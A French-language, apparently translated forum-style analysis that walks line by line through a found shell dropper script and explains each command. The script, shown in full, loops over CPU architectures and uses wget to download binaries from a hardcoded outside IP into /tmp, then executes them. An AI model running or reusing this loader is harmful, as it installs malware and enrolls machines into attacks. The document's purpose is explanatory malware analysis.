Ligne par ligne :
#!/bin/sh
Etablit le sh
shell, quel qu'il soit, comme la ligne shebang. sh%20/tmp/ks
dans la demande remplace ceci, donc cette ligne est traitée comme un commentaire normal et ignorée.
u="asgknskjdgn"
Déclare un nom arbitraire, probablement pour éviter d'entrer en collision avec d'autres noms de fichiers. Je ne sais pas pourquoi ils n'utiliseraient pas simplement mktemp
, mais cela n'est peut-être pas disponible sur toutes les plates-formes.
bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32"
Énumère plusieurs architectures CPU courantes.
http_server="80.211.173.159"
http_port=80
Le serveur qui a l'exploit.
cd /tmp/||cd /var/
Essaie de changer de répertoire vers un endroit où votre serveur Web est susceptible de créer des fichiers. Je pense que SELinux y contribuera, en appliquant des règles beaucoup plus strictes sur ce que le serveur Web peut faire que le système de fichiers seul.
for name in $bin_names
do
Pour chaque architecture CPU…
rm -rf $u
Supprime les programmes d'exploitation précédemment essayés. Inutile à cause de la ligne suivante, peut donc être ignoré.
cp $SHELL $u
Copie l'exécutable shell courant (/bin/sh
). Peut être ignoré à cause de la ligne après suivant.
chmod 777 $u
Permet à tout le monde d'avoir un accès complet au nouveau fichier. Cela aurait dû être après le wget
commande, qui est soit le signe d'un débutant en scripts shell, soit une technique de mauvaise direction.
>$u
Vide le fichier. Inutile à cause de la ligne suivante.
wget http://$http_server:$http_port/$name -O -> $u
Remplace le fichier par le script d'exploit pour cette architecture. -O -> $u
aurait pu s'écrire -O - > $u
(le trait d'union indique que le téléchargement doit être écrit sur la sortie standard) qui équivaut à -O $u
.
./$u $name
Exécute le script d'exploit avec l'architecture comme premier argument.
done
Termine la boucle.
Il semble qu'il s'agisse d'un script de tentative d'exploit trivial, essayant des exploits connus contre diverses plates-formes CPU. Je ne sais pas pourquoi il écrase $u
trois fois, mais ces opérations pourraient simplement être des restes d'une itération antérieure du script. Vraisemblablement, cette version antérieure avait les exploits codés en dur plutôt que servis dynamiquement - la première est plus facile mais garantit presque que le script sera moins efficace au fil du temps à mesure que les bogues sont corrigés.
Le wget
est la principale ligne dangereuse.
Le for name in $bin_names
travaille sur la liste des plates-formes et pour chaque plate-forme, il efface un répertoire temporaire, copie un shell et le rend ensuite accessible à tous.
Il télécharge ensuite un fichier en utilisant wget
puis l'exécute à l'aide du programme shell qu'il vient de copier.
Le script tente essentiellement de télécharger une série d'exécutables ou de scripts pour chaque plate-forme possible et de les frotter contre votre système dans l'espoir qu'il puisse compromettre davantage votre système.